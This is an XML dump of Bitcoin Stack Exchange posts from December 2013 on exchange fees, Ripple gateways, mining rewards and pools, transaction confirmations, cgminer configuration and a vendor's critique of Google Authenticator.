  <row Id="18696" PostTypeId="1" CreationDate="2013-12-13T22:06:08.090" Score="0" ViewCount="1824" Body="&lt;p&gt;Hello can anyone answer me whats the current btc-e withdrawal fee?&#xA;The only source of information i can find is &lt;a href=&quot;https://en.bitcoin.it/wiki/BTC-E&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; which says it's set to 0.01 btc. Is it still valid? &lt;/p&gt;&#xA;" OwnerUserId="10784" LastEditorUserId="132" LastEditDate="2014-01-13T14:37:41.397" LastActivityDate="2016-10-22T15:12:53.740" Title="btc-e current btc withdrawal fee" Tags="|btce|exchange-fees|" AnswerCount="2" CommentCount="1" ClosedDate="2016-10-27T17:43:17.057" ContentLicense="CC BY-SA 3.0" />
  <row Id="18697" PostTypeId="1" CreationDate="2013-12-13T22:33:05.517" Score="4" ViewCount="373" Body="&lt;p&gt;I'm beginning to wonder what my liabilities may be once I start using a system like Ripple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if a gateway I'm using (say Bitstamp) suddenly vanishes, could I, as a user of Ripple and Bitstamp, be held liable for some sort of debt (in addition to losing my balance on that gateway)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have 3 bitcoins on Bitstamp (and they're worth $1000 each) and transfer them to Ripple and I buy for $3000 of Litecoin. Then for whatever reason Bitstamp disappears and the price of bitcoin reaches $100 000 (it's just an example), would it be possible that the person/service I bought Litecoin from comes to me and say &lt;em&gt;&quot;You bought us for 3 bitcoins of litecoins and you got your litecoins from us, but your gateway disappeared and hence we never had our bitcoins. So you're liable of $300 000 to us&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or could Ripple itself come to me and say: &lt;em&gt;&quot;Look, you used coins coming from Bitstamp to buy Litecoins but Bitstamp couldn't honor his word, so now we'll force the sale of your house so that you can pay us the x bitcoins you owe us&quot;&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is probably silly but I'd still like to know what, as a a user, my liabilities could be because I certainly wouldn't want any money that I have outside of the crypto currencies world to be at risk once I start using/trading crypto currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking this because I read about the IOU and I often read things like: &lt;em&gt;&quot;you don't have 3 bitcoins, you have an IOU saying that someone owes you 3 bitcoins&quot;&lt;/em&gt;. What I want to know is if I'm selling/trading the IOU or if I'm putting my a** on the line.&lt;/p&gt;&#xA;" OwnerUserId="10785" LastEditorUserId="10785" LastEditDate="2013-12-13T22:54:54.807" LastActivityDate="2014-01-16T18:24:41.360" Title="Can I be held liable if a gateway vanishes?" Tags="|ripple|legal|ripple-gateways|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18698" PostTypeId="2" ParentId="4113" CreationDate="2013-12-13T22:40:03.390" Score="2" Body="&lt;p&gt;Disclaimer: I work for 2FA company CryptoPhoto&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Authenticator does not save you from phishing or MitM/MitB or malware like NeverQuest, Hesperbot, Zeus, Ice IX, Bugat V2, Carberp,  Citadel, Syscron, SpyEye, etc - or any APTs at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Google Authenticator (GA) is not open source (only same antique version no longer in use ever got released)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They store their bypass codes in plaintext on the server (any serverside break-in grants the attacker full ability to authenticate as you)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Their bypass codes have insanely low entropy (7 numeric digits only - guessable in a mere 5 million attempts on average)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Their app provides QR code enrollment - and the QR codes are generated by putting your (supposed to be secret) private key into the HTTP GET parameter of a google-owned URL: or in other words - regardless of where you enroll with GA, they're sending your private keys to google.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;HTTP GET&quot; parameters get stored in log files (granting access to your secret keys to anyone who can get the logs - such as by hacking, or legal subpoenas, or intercept)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The GA app uses a 3rd party QR code scanner to read your secret keys.  This 3rd party tool is a supermarket barcode app, designed to send all scanned codes to their server.  This is all &quot;closed source&quot;, so it's impossible to tell if they're recording your secret keys.  Even if they're not, the author (which is not Google, and not under their control) merely has to make an update to grab GA keys if he wants.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;GA uses TOTP, which works with &quot;shared secrets&quot;.  This is a horrifying mistake.  Again - anyone who can crack either end of the channel can forever impersonate the other end (read: a serverside breakin can own your client side auth).  I am gobsmacked google were so stupid on this one.  Asymmetric crypto was invented to stop that kind of problem - did they choose not to use it on purpose ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the limited source that's available, there is a race-condition error in their brute-force-prevention code: you're supposed to only be able to guess 3 codes, but if you open 2+ channels for guessing, only 1 of those channels gets blocked - all the other ones can keep on indefinitely guessing new codes without getting blocked.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And of course - to state the bleeding obvious - most of the exchanges that have already been looted were also &quot;protected&quot; by GA, with many of the victim operators publicly announcing that the hackers just bypassed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's cool that GA costs nothing, but that's pretty much all it's worth!&lt;/p&gt;&#xA;" OwnerUserId="10787" LastActivityDate="2013-12-13T22:40:03.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18699" PostTypeId="1" AcceptedAnswerId="18702" CreationDate="2013-12-13T23:24:27.983" Score="1" ViewCount="247" Body="&lt;p&gt;As I understand it a miner gets a reward of 25 BTC per block he finds (as of now). I also read that some transaction fees go to the miner who found the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are these two things related?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how can a miner not claim all the fees? Ain't that automatic? Is there something the miner needs to do after he found the block to claim the fee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How was the system &quot;boostrapped&quot; with the first block ever?&lt;/p&gt;&#xA;" OwnerUserId="10785" LastActivityDate="2013-12-14T16:43:14.063" Title="Do transactions happen in an already mined block or a block yet to be mined?" Tags="|transactions|transaction-fees|block|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18701" PostTypeId="1" CreationDate="2013-12-13T23:58:51.930" Score="1" ViewCount="148" Body="&lt;p&gt;I currently use Multibit, but am prepared to switch if necessary. What is the best way to organize my wallet so that I can access multiple 'send' and 'receive' transaction data to and from multiple customers?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related, is there any commercial software available that can access wallet transaction data and analyze it to create simple financial reports such as transaction history for individual customers, filtered reports on all BTC receipts and withdrawals along with BTC values at (approximately, if necessary) the time of transaction execution, customer name along with his BTC address, etc.?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are there other potential suggestions or solutions out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS Am not necessarily looking for freeware.&lt;/p&gt;&#xA;" OwnerUserId="10788" LastEditorUserId="5406" LastEditDate="2017-12-23T19:49:03.983" LastActivityDate="2017-12-23T19:49:03.983" Title="I need a system for managing multiple bitcoin transactions using transaction information in my wallet" Tags="|finance|accounting|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18702" PostTypeId="2" ParentId="18699" CreationDate="2013-12-14T00:47:42.907" Score="2" Body="&lt;p&gt;A new block is constructed using transactions from the queue of pending transactions.  The miner repeatedly hashes the data until the result meets the network difficulty level.  The local bitcoin node then broadcasts the block to the network.  The process then repeats with the next set of pending transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner gets the block fee as well as all transaction fees for the transactions included in the block.  Note that the miner receives nothing if the block is orphaned because another miner broadcast his block first.  In the case of a pool, the fees are divided among all of the miners in the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each block contains a coinbase address and this is the address that receives the fees.  The miner can set this address to anything he wants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi started the process by releasing the genesis block, which is the initial block in the block chain.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-14T00:47:42.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18703" PostTypeId="2" ParentId="13552" CreationDate="2013-12-14T01:23:19.863" Score="0" Body="&lt;p&gt;I like &lt;a href=&quot;http://opencoin.in&quot; rel=&quot;nofollow&quot;&gt;http://opencoin.in&lt;/a&gt;  This is most active Ripple discussion forum&lt;/p&gt;&#xA;" OwnerUserId="10793" LastActivityDate="2013-12-14T01:23:19.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18704" PostTypeId="1" AcceptedAnswerId="18708" CreationDate="2013-12-14T01:36:40.967" Score="2" ViewCount="1977" Body="&lt;p&gt;I noted that many clients now-a-days have the option for multipool. Regarding such feature I've got two questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the advantages of being in a multipool setup against the single pool? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is such setup option fair for those people who are in only one pool? &lt;/p&gt;&#xA;" OwnerUserId="10795" LastActivityDate="2013-12-14T03:41:55.940" Title="Single pool vs multipool mining?" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18705" PostTypeId="2" ParentId="18692" CreationDate="2013-12-14T02:00:04.357" Score="3" Body="&lt;p&gt;If by &quot;instantaneous&quot; you mean &quot;right at the moment of the transaction&quot; - well, no. Not even with Visa et al. Even if you mean that, after waiting for a reasonable amount of time (say, less than 2 mins.) you receive a definite answer about your transaction's validity, it's not possible either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way cryptocurrencies work, all transactions are &quot;waiting in line&quot; to be picked up by a miner and included in a block. Meanwhile, you can always revert it or create another that conflicts with the first one. Once a transaction's in a block, though, you can still not claim victory for they're still not part of the official coin history: other miners need to accept the block and &lt;em&gt;start constructing new blocks over it&lt;/em&gt; - and this is the critical part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another miner, somewhere else in the world, may have discovered another solution to the current block and broadcasted it onto the network. From that moment on, there will be 2 chains in competition, both of them valid, but eventually only one will become the official one. Which one? Whichever gets longer first, i.e. which is picked up by the most miners to create a new block after it - remember each block contains not just its hash but also a hash of the previous block, so in effect each block &quot;points&quot; to its predecessor, hence the term &quot;chains&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible for a malicious part to do this on purpose - should that part have access to vast amounts of computing power it could convince you to give you something in exchange for their bitcoins. You see their transaction appearing in 2 blocks and give the stuff, they then take the last block before your transaction appeared and rapidly create 3 blocks without the transaction. Once they broadcast their 3 blocks to the network - voilá! Their chain takes over due to length, you end up with no item and no coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you never get a definite yes or no answer - you just get degrees of certainty. The more blocks your transaction appears on, the more likely it is that it will be part of the official transaction history. That's why it's commonly said you should wait for 6 confirmations in Bitcoin or 12 in Litecoin to consider a transaction 99% valid - after that number, the probabilities of an attacker trying to out-run (so to say) the combined hash power of the whole network become almost negligible.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-14T02:00:04.357" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="18706" PostTypeId="1" CreationDate="2013-12-14T02:58:53.213" Score="1" ViewCount="32" Body="&lt;p&gt;If I have several bitcoins in an offline wallet / cold storage and want to send a few bitcoins to some address, can I somehow prepare and sign the send order offline and only copy the result (say using an USB stick) to an online computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I have a wallet with one address which has 1000 coins and want to sent 10 coins to an exchange to sell them, do I need to put my &lt;em&gt;wallet.dat&lt;/em&gt; to a Bitcoin client which is online? (hence risking to lose it all in case the online computer I'm using is compromised)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it changes anything if there's change or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a theoretical question in order to better understand how bitcoin works. &lt;/p&gt;&#xA;" OwnerUserId="10785" LastActivityDate="2013-12-14T02:58:53.213" Title="Preparing a &quot;send&quot; order offline the same way you can create an offline wallet?" Tags="|wallet|address|sending|offline|" AnswerCount="0" CommentCount="1" ClosedDate="2014-01-09T20:30:15.587" ContentLicense="CC BY-SA 3.0" />
  <row Id="18707" PostTypeId="2" ParentId="18687" CreationDate="2013-12-14T03:05:19.867" Score="1" Body="&lt;p&gt;Initially miners get their work directly from other peers on the network.  The peer to peer network is publishing transactions constantly.  It is through the process of mining that these transactions are distributed to the entire network.  The tool that you need to help confirm transactions on the network is a mining application.  Some examples are cgminer, bfgminer etc. If you are interested in solo mining and contributing to the network I do urge you to understand difficulty and the formula used to generate a block and why you are very unlikely to ever generate a block of Bitcoin thus confirming the transactions that your node has seen on the network (unless you are mining with many ASIC's and have several Tera-Hashes per second).  As you requested I will not discuss profitability only the probability of this occurring.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18629/what-is-the-algorithm-to-create-a-bitcoin-mining-calculator&quot;&gt;another thread&lt;/a&gt; I will reference an equation for how frequently a Bitcoin can be generated with a given hashing power:&#xA;Current difficulty = 908,350,862&#xA;Hashing power(based upon mining hardware) = 1000/Mhs or 1/Ghs&#xA;We will be solving for the approximate amount of time that it will take (on average to generate 1 block of BTC) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By solving for time we get roughly every 1083704 hours ~= 45154 days ~= 6450 weeks ~= 124 years.  Sadly we know that the difficulty is continuing to grow exponentially and it gets recalculated every 14 days or so thus making the average time to generate a block increase.  That being said if you would like to solo mine this is how you would do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply by launching either bitcoind or bitcoin-qt in server mode the application is ready to accept work from your mining application.  You can then direct your mining application to obtain work from this service via IP (generally on port 8333) Mining pools run an application server such as a stratum or http service that helps to calculate how much work is accepted from each miner if you do not have such an application running you will not obtain statistics from the Bitcoin service unless a block is generated by your miner. &lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-12-14T03:24:06.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18708" PostTypeId="2" ParentId="18704" CreationDate="2013-12-14T03:41:55.940" Score="2" Body="&lt;p&gt;Multipool clients generally have two sets of functionality fail-over or load balancing.  Fail-over is simply having backup servers in place so that your miner can continue working if your primary server goes down or experiences a connectivity issue.  Load balancing will split up the work across multiple pools simultaneously.  This would make the most sense to me in an environment where multiple people purchase a rather expensive mining rig and want to distribute shares of the rigs capability to accounts that are controlled by different owners.  I can't see a scenario where this functionality could be unfair to someone mining in a single pool.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-14T03:41:55.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18709" PostTypeId="2" ParentId="18696" CreationDate="2013-12-14T04:00:48.087" Score="0" Body="&lt;p&gt;There are multiple ways to withdraw from BTC-E however since you asked specifically in terms of BTC the current withdraw fee (Dec 13, 2013) is stated on the website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* Fee for withdrawal is 0.001 BTC.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-14T04:00:48.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18711" PostTypeId="1" AcceptedAnswerId="18724" CreationDate="2013-12-14T05:51:10.707" Score="4" ViewCount="2491" Body="&lt;p&gt;I read that miner are in a way contributed to the transaction progress of bitcoin. So, that means if there's no one mining anymore, the bitcoin can no longer be transacted?&lt;/p&gt;&#xA;" OwnerDisplayName="user10803" LastEditorUserId="5406" LastEditDate="2021-03-06T19:37:51.090" LastActivityDate="2021-03-06T19:37:51.090" Title="What happen if there's no one mining bitcoin?" Tags="|mining-theory|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18712" PostTypeId="1" AcceptedAnswerId="18749" CreationDate="2013-12-14T05:53:46.980" Score="4" ViewCount="5812" Body="&lt;p&gt;So I brought 2x &lt;a href=&quot;http://www.sapphiretech.com/presentation/product/product_index.aspx?pid=2024&amp;amp;lid=1&quot; rel=&quot;nofollow&quot;&gt;Sapphire Vapore-X R9 280X&lt;/a&gt; video card.  I am only doing 550kh/s each while on my other more powerful setup with the same card get about 750kh/s.  I am wondering if the motherboard/cpu matters?  Here is what I got on my new rig:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.asus.com/Motherboards/P5K/&quot; rel=&quot;nofollow&quot;&gt;Asus P5K&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ark.intel.com/products/30784/&quot; rel=&quot;nofollow&quot;&gt;Intel Core 2 Duo @ 2.66Ghz&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2GB DDR2 Memory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as my research goes, this should all be fine, but at the end, the hash rate does not lie, what am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="10031" LastEditorUserId="2306" LastEditDate="2017-04-25T19:52:08.747" LastActivityDate="2017-04-25T19:52:08.747" Title="Can Litecoin mining be bottle-necked by motherboard/cpu?" Tags="|litecoin|mining-hardware|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18713" PostTypeId="2" ParentId="18711" CreationDate="2013-12-14T06:02:10.497" Score="1" Body="&lt;p&gt;Effectively, yes, this is true. &lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-14T06:02:10.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18714" PostTypeId="2" ParentId="18711" CreationDate="2013-12-14T06:05:28.713" Score="1" Body="&lt;p&gt;If no-one mines a Bitcoin like crypto-currency it will stop to work, this mean that transaction can be created and shared on the network but that they are not confirmed anymore and that there will not be any new money supply.  This don't mean that the crypto-currency is 'dead', Bitcoin like crypto-currency will not die until someone owns it's block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is what happened to an alt-coin called 'junkcoin'.&#xA;People had to mine blocks themselves to get their coins on exchanges.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2013-12-14T21:18:35.947" LastActivityDate="2013-12-14T21:18:35.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18715" PostTypeId="1" CreationDate="2013-12-14T06:22:05.153" Score="1" ViewCount="2890" Body="&lt;p&gt;I'm trying to get my CGMiner to connect to my mining_proxy.exe which I have my network ASICminers running through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried these (below) in every combination I could think of, local ip, 127.0.0.1, local host, connecting directly to eclipse. you name it and it won't show the hashrate or what is happening in the mining operation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- cgminer.exe -o  stratum+tcp://127.0.0.1:8332 -u worker -p 123456&#xA;- cgminer -o &quot;http://127.0.0.1:8332|http://us.eclipsemc.com:3333&quot; -u worker -p 123456&#xA;- cgminer -o http://127.0.0.1:8332 -u worker -p worker&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need CGminer showing my hashrate and have some control over the mining operation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for the help&lt;/p&gt;&#xA;" OwnerUserId="10804" LastActivityDate="2015-09-16T11:55:43.313" Title="How can I get CGMiner to connect to mining_proxy.exe" Tags="|cgminer|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18716" PostTypeId="2" ParentId="18676" CreationDate="2013-12-14T06:43:40.857" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Even if Opencoin should close, the ripple network will continue. Because the ripple is a P2P network, it is not operated by Opencoin but by the combined efforts of all the computers running the ripple server software. The ripple network can not be shut down without shutting down the entire Internet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because Ripple is open source software, the former OpenCoin (now Ripple Labs) could disappear and the Ripple network would continue operating, especially now that the Ripple server software was &lt;a href=&quot;https://ripple.com/forum/viewtopic.php?t=3718&quot; rel=&quot;nofollow&quot;&gt;released as open source in September&lt;/a&gt;. Ripple Labs doesn't own or operate the Ripple network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most interesting way the peer-to-peer network operates is that it's created instantaneously when the network looks for a path for a payment, based on trust lines among users and gateways. So if I have USD and you want BTC, the Ripple network figures out the path between us to make that happen.&lt;/p&gt;&#xA;" OwnerUserId="593" LastActivityDate="2013-12-14T06:43:40.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18720" PostTypeId="2" ParentId="6015" CreationDate="2013-12-14T10:27:58.987" Score="1" Body="&lt;p&gt;Make a folder called &quot;data&quot; in same folder as the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a batch file, develop this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-qt.exe -datadir=./data/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10811" LastEditorUserId="1405" LastEditDate="2014-08-31T23:24:17.733" LastActivityDate="2014-08-31T23:24:17.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18721" PostTypeId="2" ParentId="18684" CreationDate="2013-12-14T10:42:42.757" Score="1" Body="&lt;p&gt;You can delete them with the second click options if you think so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you ever receive coins in that imported addresses you won't know if you don't have them imported in Electrum or in other client. Or if you've registered somewhere signing messages with it (like in #bitcoin-otc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you want to keep them you will have to keep a backup of those keys separately by copying the wallet file as they won't become part of your Electrum seed.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-12-14T10:42:42.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18723" PostTypeId="1" AcceptedAnswerId="18726" CreationDate="2013-12-14T10:51:27.040" Score="1" ViewCount="22454" Body="&lt;p&gt;Using my existing hardware, I want to work out which altcoin is still profitable to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found this link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dustcoin.com/mining&quot; rel=&quot;nofollow&quot;&gt;http://dustcoin.com/mining&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But don't know which values to enter into the boxes at the bottom of that page.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I work out the SHA-256 and scrypt hashrate&lt;/li&gt;&#xA;&lt;li&gt;For the Power(W) box, do I enter in my computers PSU wattage? I think it's 650w&lt;/li&gt;&#xA;&lt;li&gt;For the Power Cost ($/kWh) box, do I check my electricity bill to find out how much I am paying per kWh?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="5406" LastEditDate="2016-04-25T21:20:13.010" LastActivityDate="2016-04-25T21:20:13.010" Title="How to work out my hardware's hashrate power" Tags="|mining-hardware|hash|hashpower|scrypt|sha256|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18724" PostTypeId="2" ParentId="18711" CreationDate="2013-12-14T10:55:55.927" Score="1" Body="&lt;p&gt;This is true, that's exactly what would happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the rewards for mining would increase proportionally so if there was any value in bitcoins at all then someone would be motivated to start mining to gather the rewards. That's why this won't happen, if 90% of people stopped mining then the rewards for mining would be 10 times higher. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus there are enough businesses involved financially in bitcoin now that I would expect them to invest in some mining capacity to keep the network going.&lt;/p&gt;&#xA;" OwnerUserId="3742" LastActivityDate="2013-12-14T10:55:55.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18725" PostTypeId="2" ParentId="861" CreationDate="2013-12-14T10:58:26.390" Score="3" Body="&lt;p&gt;You can do almost everything on that &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;Contracts&lt;/a&gt; page without needing transaction replacement.  Lock time &lt;em&gt;does&lt;/em&gt; work today (as of Dec 2013), transactions with lock_time can't go into the blockchain until the time is reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction Replacement is not supported because the developers have said that the whole idea of nSequence-based replacement is problematic, and may never be enabled apparently it causes potential denial of service problems.  They discuss it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=131443.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=131443.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't think transaction replacement is really needed because sometime recently the developers made so transactions using lock_time and version &amp;lt; UINT_MAX are &quot;non-standard&quot;.  What this means is that transactions using lock_time won't be relayed on the peer-to-peer network until the lock_time is reached, at which point you can push the transaction for relaying and it will be considered standard and able to go into the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I think this takes care of most use cases is because replacement was only needed when the locked transactions were being relayed, and stored in the memory pools, so if a transaction came along that wasn't locked, it wouldn't be accepted because replacement wasn't implemented, and the locked transaction was already in the mempool.  Since the locked transactions won't relay and store in the mempools now until lock_time is reached, I believe replacement is far less important, so the fact that it doesn't look like it will be implemented anytime soon is not a problem.&lt;/p&gt;&#xA;" OwnerUserId="10813" LastActivityDate="2013-12-14T10:58:26.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18726" PostTypeId="2" ParentId="18723" CreationDate="2013-12-14T11:22:41.643" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I work out the SHA-256 and scrypt hashrate&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can look up your hardware e.g. &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;here (BTC)&lt;/a&gt; and &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;here (LTC)&lt;/a&gt;. But I think it's much easier and more accurate to just try mining different coins for couple hours and measure hashrate directly.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For the Power(W) box, do I enter in my computers PSU wattage? I think it's 650w&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;PSU wattage is max. power it can supply, so it poses upper bound on PCs consumption. &#xA;To get accurate measurements, you can use something like &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B001JHGY2Q&quot; rel=&quot;nofollow&quot;&gt;Kill-a-Watt&lt;/a&gt;. Or you can look up TDP of individual components: CPU's, GPU's and ASIS's power consumption is usually listed in their specs, and motherboard+RAM+HDD together usually use around 50W.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For the Power Cost ($/kWh) box, do I check my electricity bill to find out how much I am paying per kWh?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;" OwnerUserId="2343" LastEditorUserId="2343" LastEditDate="2013-12-17T08:13:12.733" LastActivityDate="2013-12-17T08:13:12.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18727" PostTypeId="1" AcceptedAnswerId="18731" CreationDate="2013-12-14T12:53:59.670" Score="2" ViewCount="2455" Body="&lt;p&gt;I'm trying to figure out which software to download for my Ubuntu 12.04 box to start some litecoin mining.  Via google search, I keep coming up with cgminer for both bitcoin and litecoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does that work, is the same software cgminer used for both bitcoin and litecoin mining?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="5406" LastEditDate="2016-04-25T21:20:01.070" LastActivityDate="2016-04-25T21:20:01.070" Title="Is cgminer used for both bitcoin and litecoin GPU mining?" Tags="|cgminer|ubuntu|linux|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18728" PostTypeId="2" ParentId="18686" CreationDate="2013-12-14T13:04:15.790" Score="1" Body="&lt;p&gt;The problem seems to be in the Price. This worked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;APIMain.Trade(BtcePair.BtcUsd, TradeType.Buy, decimal.Floor(myBidP),decimal.Round(myBidQ,4));&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody confirm that the price must be rounded to the nearest integer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonne chance trading everybody......&lt;/p&gt;&#xA;" OwnerUserId="10776" LastActivityDate="2013-12-14T13:04:15.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
